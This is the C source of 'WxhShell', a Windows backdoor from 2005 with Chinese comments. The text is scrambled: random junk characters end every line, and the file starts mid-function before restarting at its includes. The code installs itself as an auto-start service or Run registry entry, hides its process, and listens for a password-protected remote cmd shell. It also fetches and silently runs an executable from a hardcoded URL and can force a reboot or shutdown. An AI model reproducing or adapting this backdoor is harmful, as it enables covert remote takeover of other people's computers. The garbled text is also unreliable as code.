    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3}yraX6r!  
    if(Boot(SHUTDOWN)) h~ZNHSP:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "~Us#4>  
    else { Rn8#0%/Q  
    closesocket(wsh); ^>eFm8`N  
    ExitThread(0); Nl=+.d6 Qo  
    } +yvBSpY  
    break; Q6xgLx[  
    } ;=#qHo9k1%  
  // 获取shell Xz" JY  
  case 's': { 9'l.TcVm`,  
    CmdShell(wsh); w2' 3S#nZ  
    closesocket(wsh); /lru"R D  
    ExitThread(0); x7Eeb!s0f,  
    break; noFh p  
  } WVj&0  
  // 退出 J09ZK8 hK  
  case 'x': { *x5o=)Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 27$\sG|g  
    CloseIt(wsh); N!Rt;Xm2@  
    break; N4tc V\O  
    } pc^E'h:  
  // 离开 u"eZa!#  
  case 'q': { $*g{[&L|6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^g\h]RD}  
    closesocket(wsh); -)<JBs>  
    WSACleanup(); WGluZhRuT3  
    exit(1); N:5b1TdI,  
    break; WI%zr2T  
        } eUYG96Jw  
  } 4U:DJ_GN  
  } jjNxatAN  
H9/XW6W,"w  
  // 提示信息 EccFx7h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}^4^88=a  
} m79m{!q$-  
  } S|tA[klh  
l8eT{!4  
  return; zC[i <'h!T  
} ~rp.jd 0l  
'w :tq  
// shell模块句柄 hl=oiUf[s  
int CmdShell(SOCKET sock) DM+sjn  
{ (gFQ K[  
STARTUPINFO si; ;H`=):U  
ZeroMemory(&si,sizeof(si)); Ti /;|lP@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l@ (t^68OD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z(#XFXd  
PROCESS_INFORMATION ProcessInfo; 34HFrMi  
char cmdline[]="cmd"; X}kVBT1w+x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s#M? tyhj  
  return 0; uHTKo(NG  
} `Nc`xO?  
Ey 0>L  
// 自身启动模式 hn*}5!^  
int StartFromService(void) ':9%3Wq]j  
{ @w+WLeJ$40  
typedef struct Z{Lmd`<w`j  
{ ~]jx+6k]  
  DWORD ExitStatus; N.ItyV  
  DWORD PebBaseAddress; EG8%~k+R  
  DWORD AffinityMask; Fa Qu$q  
  DWORD BasePriority; ytuWT,u  
  ULONG UniqueProcessId; i G?w;  
  ULONG InheritedFromUniqueProcessId; +F#=`+V  
}   PROCESS_BASIC_INFORMATION; BHIZHp  
sqgD?:@J  
PROCNTQSIP NtQueryInformationProcess; ]=O{7#  
UXXqE4x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zEnC[~W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fq)Ohb  
mg/C Ux  
  HANDLE             hProcess; \k2C 5f  
  PROCESS_BASIC_INFORMATION pbi; WoC\a^V  
1)nM#@%](h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +-xSuR,  
  if(NULL == hInst ) return 0; 1_p[*h  
h Kp,4D>2_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^^20vwq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n#/U@qVgc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v]UU&Jq8U  
i!/h3%=  
  if (!NtQueryInformationProcess) return 0; I_R5\l}O+D  
TZvBcNi   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &z{dr ~  
  if(!hProcess) return 0; G FSlYG  
Jv '3](  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fj4l %=  
8=!r nJCav  
  CloseHandle(hProcess); 3(Hj7d7'}  
\{Ox@   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _"FbjQ"  
if(hProcess==NULL) return 0;  ==r ?  
t6! p\Y}}  
HMODULE hMod; R(n0!h4  
char procName[255]; ;@=@N9q K  
unsigned long cbNeeded; |1\dCE03}  
+ 3~Gc<OO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .~V".tZV[  
x0TnS #  
  CloseHandle(hProcess); *IjdN,wox  
^Y*`D_-G  
if(strstr(procName,"services")) return 1; // 以服务启动 f6(9wz$Trt  
O4'kS @  
  return 0; // 注册表启动 ?[*@T2Ck  
} m,kv EQ3  
"OlI-^y  
// 主模块 ys~p(  
int StartWxhshell(LPSTR lpCmdLine) NUxAv= xl  
{ .wt>.mUH  
  SOCKET wsl; XQ+-+CD  
BOOL val=TRUE; @h z0:ezg:  
  int port=0; _mI:Lr#dT  
  struct sockaddr_in door; Y`[HjS,  
l72i e  
  if(wscfg.ws_autoins) Install(); hCOy\[2$  
 5Fl  
port=atoi(lpCmdLine); H8=vQy  
/(WX!EEsB  
if(port<=0) port=wscfg.ws_port; }AeE|RNc  
Npg5Z%+y  
  WSADATA data; 0N} wD-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;{F;e)${M  
o#KPrW`XJ/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8m1 3M5r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l yLK$B?/  
  door.sin_family = AF_INET; s K$Sar  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D3ZT''  
  door.sin_port = htons(port); iX9[Q0g=oQ  
zN 729wK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {) '" k6w  
closesocket(wsl); ^0 ,&R\e+  
return 1; p1`'1`.3  
} [ XY:MU e  
r)Mx.`d!  
  if(listen(wsl,2) == INVALID_SOCKET) { 3<1HqU  
closesocket(wsl); R;Ix<y{U  
return 1; B2Awdw3=g  
} S|u1QGB  
  Wxhshell(wsl); KzFs#rhpn  
  WSACleanup(); V }r_   
UU:QK{{E  
return 0; 0I ND9h. %  
Z:o' +oh  
} v'2OHb#  
Kw5+4R(5  
// 以NT服务方式启动 bju,p"J1-E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +XaO?F[c  
{   _c7  
DWORD   status = 0; kdueQ(\  
  DWORD   specificError = 0xfffffff; 1H2u,{O  
KI? 1( L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :8GxcqvCWq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nbkky .e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f^yLwRUD  
  serviceStatus.dwWin32ExitCode     = 0; kosJ]q'U  
  serviceStatus.dwServiceSpecificExitCode = 0; Q/9vDv  
  serviceStatus.dwCheckPoint       = 0; R;,u >P "  
  serviceStatus.dwWaitHint       = 0; +Muia5G  
y[7xK}`_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dQ2i{A"BKz  
  if (hServiceStatusHandle==0) return; 5F_:[H =   
kod_ 1LD  
status = GetLastError(); b\uB  
  if (status!=NO_ERROR) /Z9`uK  
{ f+W[]KK*PW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PTV`=vtj  
    serviceStatus.dwCheckPoint       = 0; [2fiHE  
    serviceStatus.dwWaitHint       = 0; x@bl]Z(ne/  
    serviceStatus.dwWin32ExitCode     = status; V~^6 TS(  
    serviceStatus.dwServiceSpecificExitCode = specificError; _$jJpy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !E.l yz  
    return; [8J}da}  
  } ~Sem_U`G  
'' A[`,3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1J%qbh  
  serviceStatus.dwCheckPoint       = 0; :R?| 2l  
  serviceStatus.dwWaitHint       = 0; @BQB NGR1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); . L6@Rs  
} y7L4jO9h  
>A@D;vx  
// 处理NT服务事件,比如:启动、停止 >~bj7M6t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gZ%O<XO  
{ z(#hL-{c  
switch(fdwControl) 9,a,A6xry  
{ 3b/vyZF  
case SERVICE_CONTROL_STOP: DDCQAf  
  serviceStatus.dwWin32ExitCode = 0; @IKe<{w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8LM1oal}  
  serviceStatus.dwCheckPoint   = 0; C5n=2luI_  
  serviceStatus.dwWaitHint     = 0; kAF}*&Kzd~  
  { )cmLo0`$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kp>Z/kt  
  } 36Y[7 m=  
  return; o%JIJ7M  
case SERVICE_CONTROL_PAUSE: (w:ACJ[[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O?J:+L(  
  break; M{kh=b)V  
case SERVICE_CONTROL_CONTINUE: 2]3Jb{8FI>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JGNxJ S<]  
  break; #3[b|cL  
case SERVICE_CONTROL_INTERROGATE: o)D+qiA3U  
  break; dGW7,B~  
}; u4^"E+y^S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8}E(UsTa  
} (c|qX-%rC  
%L|bF"K5;  
// 标准应用程序主函数 WMl^XZO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /Gv$1t^a  
{ HnY"6gTNK  
^3s&90  
// 获取操作系统版本 `Q^Sm`R  
OsIsNt=GetOsVer(); KIl.?_61O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m-FDCiN>  
&B,& *Lp  
  // 从命令行安装 .E8p-R5)V>  
  if(strpbrk(lpCmdLine,"iI")) Install(); EuA<{%i  
7?WBzo!!L  
  // 下载执行文件 *xVAm7_v  
if(wscfg.ws_downexe) { |(ju!&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "LaX_0t)  
  WinExec(wscfg.ws_filenam,SW_HIDE); H 1X]tw.  
} ~TR|Pv  
[MP :Eeg  
if(!OsIsNt) { 1e| M6*  
// 如果时win9x,隐藏进程并且设置为注册表启动 g*imswj7  
HideProc(); R2ZQBwB  
StartWxhshell(lpCmdLine); x#VUEu]8  
} :%oj'm44!  
else VIdoT2  
  if(StartFromService()) &bgi0)>  
  // 以服务方式启动 O}!@28|3"  
  StartServiceCtrlDispatcher(DispatchTable); O9&:(2'f  
else Z_WTMs:x!  
  // 普通方式启动 xyWdzc] (p  
  StartWxhshell(lpCmdLine); . TS=[WGMS  
:Rx"WY  
return 0; la7QN QW  
} ]lYEJ`  
t? J a q  
%Z0S"B 3  
"(VcYQ+  
=========================================== =}lA|S  
;7*@Gf}R  
M:f=JuAx  
jc`',o'[+  
Hxi=\2-  
Y. tFqzo3  
" '+tT$k  
,WK$jHG]  
#include <stdio.h> jn Y3G  
#include <string.h> ]}y'3aW  
#include <windows.h> nQ3goVRFP  
#include <winsock2.h> WN1-J(x6  
#include <winsvc.h> C P v}A  
#include <urlmon.h> o@;_(knb  
Y &+/[ [  
#pragma comment (lib, "Ws2_32.lib") *lO+^\HXD  
#pragma comment (lib, "urlmon.lib") TBT*j&!L  
WfO$q^'?DP  
#define MAX_USER   100 // 最大客户端连接数 CxQ,yd;>  
#define BUF_SOCK   200 // sock buffer Khd,|pM  
#define KEY_BUFF   255 // 输入 buffer  Bz~h-  
s\R?@  
#define REBOOT     0   // 重启 ?M(Wx  
#define SHUTDOWN   1   // 关机 'PbA/MN  
6\@, Lb  
#define DEF_PORT   5000 // 监听端口 DK%eFCo<~  
|%;txD  
#define REG_LEN     16   // 注册表键长度 X;>} ;LiK  
#define SVC_LEN     80   // NT服务名长度 =upP3rw  
H;&t"Ql.  
// 从dll定义API .w)t<7 y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TvwIro  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E=trJge  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6LQO>k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZfikNQU9r  
C;>Ll~f_  
// wxhshell配置信息 <Rt@z|Zv  
struct WSCFG { _3[BS9  
  int ws_port;         // 监听端口 6s2g+[  
  char ws_passstr[REG_LEN]; // 口令 Ma#-'J  
  int ws_autoins;       // 安装标记, 1=yes 0=no m/Z_HER^  
  char ws_regname[REG_LEN]; // 注册表键名 5C?1`-&65V  
  char ws_svcname[REG_LEN]; // 服务名 :h~!#;w_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <2d@\"AoHE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ij_`=w<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3zHiu*2/!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fTgN2U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'YZs6rcJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KIJ[ cIw  
Hm*#HT%#  
}; ;d40:q<  
ro@BmRMW  
// default Wxhshell configuration {NDP}UATw  
struct WSCFG wscfg={DEF_PORT,  Z.JTq~`I  
    "xuhuanlingzhe", KZNyp%q  
    1, /d'u1FnA =  
    "Wxhshell", s&</zU'  
    "Wxhshell", k#[s)Ja?s  
            "WxhShell Service", !o!04_  
    "Wrsky Windows CmdShell Service", T7'$A!c  
    "Please Input Your Password: ", )_?$B6hf,&  
  1, ;v\n[  
  "http://www.wrsky.com/wxhshell.exe", N/VIP0Kb  
  "Wxhshell.exe" zY-m]7Yf  
    }; sA.yb,Fw  
ZeZwzH)BD  
// 消息定义模块 =T]OYk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ")OLmkC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A[bxxQSP\H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bHnQLJ  
char *msg_ws_ext="\n\rExit."; 06$9Uz9  
char *msg_ws_end="\n\rQuit."; Y~xZ{am  
char *msg_ws_boot="\n\rReboot..."; 2Oa-c|F  
char *msg_ws_poff="\n\rShutdown..."; 6 -}gqkR  
char *msg_ws_down="\n\rSave to "; |?kH]Trr  
r~! lD9R~  
char *msg_ws_err="\n\rErr!"; 9n'p7(s%  
char *msg_ws_ok="\n\rOK!"; {9MYEN}FO  
1-#tx*>AY  
char ExeFile[MAX_PATH];  tS7u#YMh  
int nUser = 0; 3F1Z$d(  
HANDLE handles[MAX_USER]; KK6YA  
int OsIsNt; }o4Cd$,8  
M<Mr (z  
SERVICE_STATUS       serviceStatus; !:5n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]u';zJ.  
]'q<wPi  
// 函数声明 YBP{4Rl  
int Install(void); *gn*S3Is[j  
int Uninstall(void); W% ud nJ  
int DownloadFile(char *sURL, SOCKET wsh); _?ZT[t<  
int Boot(int flag); e+[J9;g  
void HideProc(void); 7Go!W(8  
int GetOsVer(void); =F4}  
int Wxhshell(SOCKET wsl); T_WQzEL^  
void TalkWithClient(void *cs); nC^'2z  
int CmdShell(SOCKET sock); uM8gfY)OI  
int StartFromService(void); 9D,& )6  
int StartWxhshell(LPSTR lpCmdLine); Up&q#vqIj  
TfPx   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MR}\fw$(.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |=POV]K  
(Wn'.|^%  
// 数据结构和表定义 $u :=lA:N  
SERVICE_TABLE_ENTRY DispatchTable[] = Gf?KpU  
{ F@BNSs N=  
{wscfg.ws_svcname, NTServiceMain}, -)@.D>HsOt  
{NULL, NULL} 6D],275`J  
}; $m>e!P>%u  
_,^sI%  
// 自我安装 QVpZA,  
int Install(void) ]Gr'Bt/  
{ _$0Ix6y,  
  char svExeFile[MAX_PATH]; t>xV]W<  
  HKEY key; Gu= Rf`o  
  strcpy(svExeFile,ExeFile); <_![~n$H  
7}Sw(g)o7  
// 如果是win9x系统,修改注册表设为自启动 Q$%@.@  
if(!OsIsNt) { c.fj[U|j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "{k3~epYaN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O,cx9N  
  RegCloseKey(key); ($wYaw z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;IT^SHym  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #d~"bn q;c  
  RegCloseKey(key); zkMQ= ,[  
  return 0; oC [g  
    } u2t<auE9^  
  } R|suBF3  
} jhLh~. 8  
else { D&shrKFx  
m{*l6`dF  
// 如果是NT以上系统,安装为系统服务 ?,j:Y0l.L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dZW:Cf 9K  
if (schSCManager!=0) n>HNpy  
{ Vr*t~M>  
  SC_HANDLE schService = CreateService gJ])A7O  
  ( +K?h]v]%  
  schSCManager, ')BQ 0sg  
  wscfg.ws_svcname, so7;h$h!H  
  wscfg.ws_svcdisp, S;])Nt'X'  
  SERVICE_ALL_ACCESS, !o@-kl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t]x HM  
  SERVICE_AUTO_START, EVf'1^f  
  SERVICE_ERROR_NORMAL, ciTQH (G  
  svExeFile, k=@Q#=;*[W  
  NULL, C$bK!]a  
  NULL, (\}IOCNS  
  NULL, [Ue>KG62=  
  NULL, 4Qd g t*  
  NULL ^tah4QmUA  
  ); zE[c$KPP  
  if (schService!=0) N(9'U0z  
  { k2=uP8  
  CloseServiceHandle(schService); 2C-u2;X2  
  CloseServiceHandle(schSCManager); v% 1#y5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AKpux,@xB  
  strcat(svExeFile,wscfg.ws_svcname); $H#&.IjY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g5 E]o)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U|zW_dj  
  RegCloseKey(key); E|>I/!{u7`  
  return 0; +,MzD'(D  
    } "\9@gfsp)  
  } mK4a5H  
  CloseServiceHandle(schSCManager); G2Apm`/ y  
} te|VKYN%}[  
} e9 NHbq  
Cpj_mMtu  
return 1; .C #}g  
} "%Jx,L\f{  
%S^`/Snv"  
// 自我卸载 z+ 4R[+[  
int Uninstall(void) $*PyzLS  
{ =y':VIVJC  
  HKEY key; 9$_}E`  
eE&F1|8  
if(!OsIsNt) { {?C7BClB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {e~d^^N5  
  RegDeleteValue(key,wscfg.ws_regname); Xm*Dh#H  
  RegCloseKey(key); ;02lmpBj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l- X|3,  
  RegDeleteValue(key,wscfg.ws_regname); (p. 5J  
  RegCloseKey(key); 4_mh  
  return 0; y>G{GQ  
  } rh!41  
} K|B1jdzL  
} +b{\v1b  
else { #NqA5QR  
L]p:gI{m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VHJr+BQ1K/  
if (schSCManager!=0) }LM_VZj  
{ A$5T3j'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qb! vI3  
  if (schService!=0) MB#%k#z`B  
  { 6wF ?FtT  
  if(DeleteService(schService)!=0) { 8\yH 7H  
  CloseServiceHandle(schService); #*9*[Xbi  
  CloseServiceHandle(schSCManager); K9*K4'#R  
  return 0; SQeQ"k|P%  
  } !{4p+peqJV  
  CloseServiceHandle(schService); snyx$Qx(  
  } \F> *d!^C  
  CloseServiceHandle(schSCManager); HsO=%bb  
} m:h]nm  
} s8tI_h  
sST6_b  
return 1; y,%w`  
} TWn7&,N  
V{"5)Ly?fu  
// 从指定url下载文件 ^|8cS0dK]Q  
int DownloadFile(char *sURL, SOCKET wsh) A.y$.(  
{ _|*j8v3  
  HRESULT hr; rOcfPLJi0  
char seps[]= "/"; p* ^O 8o  
char *token; 9`b*Y*d  
char *file; tp1{)|pwY6  
char myURL[MAX_PATH]; P$!Ht  
char myFILE[MAX_PATH]; Tv(s?T6f  
 W6a2I  
strcpy(myURL,sURL); >Mn"k\j4  
  token=strtok(myURL,seps); b~\![HoCMM  
  while(token!=NULL) ^wX_@?aKtt  
  { r}vr E ^Q  
    file=token; Pd3t~1TaW  
  token=strtok(NULL,seps); N8KHNTb-M  
  } wo*/{KFvh  
@50Js3R1q  
GetCurrentDirectory(MAX_PATH,myFILE); i3kI{8h  
strcat(myFILE, "\\");  ztTpMj  
strcat(myFILE, file); o&>0 pc  
  send(wsh,myFILE,strlen(myFILE),0); KR{kn[2|Q  
send(wsh,"...",3,0); ] $%{nj<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s#d>yx_b  
  if(hr==S_OK) E=LaPjEIj  
return 0; 6!bf,T]  
else HkQ2G}<  
return 1; p}j{ <y  
wi9fYfuv3R  
} ;B7>/q;g  
Y(&phv&  
// 系统电源模块 p>MX}^6  
int Boot(int flag) !D  
{ [%b<%m}L-  
  HANDLE hToken; 87*R#((  
  TOKEN_PRIVILEGES tkp; s&c^Wr  
B[k"xs  
  if(OsIsNt) { z\;kjI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (V |P6C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /]YK:7*98  
    tkp.PrivilegeCount = 1; oVLz7Y[JE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0a(*/u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oXGf#>keg  
if(flag==REBOOT) { p*>[6{$3)O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YGxdYwBwf  
  return 0; (+4=A k  
} #M_QSD}&  
else { <,LeFy\zW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4=1lyw  
  return 0; u52@{@Ad  
} bjR&bIA:  
  } ^goS? p/z  
  else { Y}4dW'  
if(flag==REBOOT) { Ron^PvvY&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F9d][ P@@  
  return 0; ?Ww',e  
} A^g81s.5  
else { ^P]: etld9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D-[0^  
  return 0; Tvk=NJ  
} X-t4irZ)  
} #BM *40tch  
H9&? <j1n  
return 1; SH5k^EJ  
} L:'Y#VI{  
S_\RQB\l  
// win9x进程隐藏模块 RzyEA3L'  
void HideProc(void) d/7 c#er  
{ 8y+Gvk:  
*gBaF/C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u_mm*o~)g  
  if ( hKernel != NULL ) #?aR,@n  
  { }p "HD R>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qT}&XK`Q^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2*Gl|@~N  
    FreeLibrary(hKernel); (spX3n%p  
  } XLM 9+L  
S:DB%V3  
return; 0`OqD d  
} ytJ |jgp'  
==IL63  
// 获取操作系统版本 =lVfrna  
int GetOsVer(void) b cOX/  
{ X5)>yM^N`  
  OSVERSIONINFO winfo; OY?uqP}c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ cv`}k  
  GetVersionEx(&winfo); );=JoRQ{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7\jH?Zi  
  return 1; |4dNi1{Zd  
  else Ef7 Kx49I  
  return 0; 654PW9{(  
} Z3[,Xw  
D@\97t+  
// 客户端句柄模块 W>+<r9Rt4  
int Wxhshell(SOCKET wsl) c5U1N&k5&  
{ 9N9|hy  
  SOCKET wsh; hf%W grO.  
  struct sockaddr_in client; ib& |271gG  
  DWORD myID; ti'OjoJL  
&M<431y  
  while(nUser<MAX_USER) 1f~_# EIC  
{ 6Q\n<&,{  
  int nSize=sizeof(client); F=# zy#@.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QI!:+8  
  if(wsh==INVALID_SOCKET) return 1; #`?uV)(  
b>fDb J0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xf#uK\f  
if(handles[nUser]==0) j8N8|\n-  
  closesocket(wsh); fDqlN`P@  
else smk0*m4  
  nUser++; Ot v{#bB$  
  } 4;%=ohD:!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >O~xu^N?  
-[+FVvS  
  return 0; aIkxN&  
} p%j@2U  
_gU [FUBtJ  
// 关闭 socket $BNn1C8[  
void CloseIt(SOCKET wsh) bZa?h.IF  
{ ]jM D'vg^b  
closesocket(wsh); KxiZx I  
nUser--; M"~B_t,Nw  
ExitThread(0); &0Nd9%>  
} ;r8,Wx@f1C  
ZVda0lex&  
// 客户端请求句柄 6`EyzB%.$  
void TalkWithClient(void *cs) }<S|_F  
{ k9Yr&8B  
y5l4H8{h}  
  SOCKET wsh=(SOCKET)cs; %f?#) 01>  
  char pwd[SVC_LEN]; <f:b%Pm 7  
  char cmd[KEY_BUFF]; AvH/Q_-b  
char chr[1]; Qa"R?dfr  
int i,j; pQW^lqwZ:6  
hu6)GOZbv  
  while (nUser < MAX_USER) { |[xi"E\  
MJ>(HJY6?%  
if(wscfg.ws_passstr) { -7\RO%U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g2F~0%HY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XjL( V1  
  //ZeroMemory(pwd,KEY_BUFF); #bf^Pq'8  
      i=0; =(v/pLLK?  
  while(i<SVC_LEN) { -Xx,"[sN\w  
o'R_kadN[T  
  // 设置超时 K@ W~  
  fd_set FdRead; RU[{!E  
  struct timeval TimeOut; I7]45pF  
  FD_ZERO(&FdRead); mVk:[ }l6  
  FD_SET(wsh,&FdRead); JCE364$$"  
  TimeOut.tv_sec=8; nj)M$'  
  TimeOut.tv_usec=0; k98--kc5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +]UPY5:F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A.y"R)G  
!L>'g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v82@']IN  
  pwd=chr[0]; OhIUm4=|$  
  if(chr[0]==0xd || chr[0]==0xa) { }p."7(  
  pwd=0; {dCkiF  
  break; ~d>O.*Q)  
  } %K?~$;Z.  
  i++; cjH ~H8  
    } ijC;"j/(  
OB5{EILej  
  // 如果是非法用户,关闭 socket  M3u[E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0(0Ep(Vj  
} I%p Q2T$;  
?c(f6p?%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G=\rlH]N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DlTV1X-^1  
8+ `cv"  
while(1) { Qb9) 1  
vzs6YsA  
  ZeroMemory(cmd,KEY_BUFF); )WuuU [(  
<g,xc)[  
      // 自动支持客户端 telnet标准   /V:%}Z  
  j=0; R],,-  
  while(j<KEY_BUFF) { C\E Z8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \:^$ZBQr<n  
  cmd[j]=chr[0]; #O=^%C 7p  
  if(chr[0]==0xa || chr[0]==0xd) { 0p&:9|'z  
  cmd[j]=0; <XGOcekG  
  break; L"#Tas\5  
  } *$uKg zv3  
  j++; ^8E/I]-  
    } P0UMMn\-#  
awo=%vJ&  
  // 下载文件 b(K.p?bt  
  if(strstr(cmd,"http://")) { 3{~h Rd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nL@P {,J  
  if(DownloadFile(cmd,wsh)) hg=\L5R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; N!K/[p=  
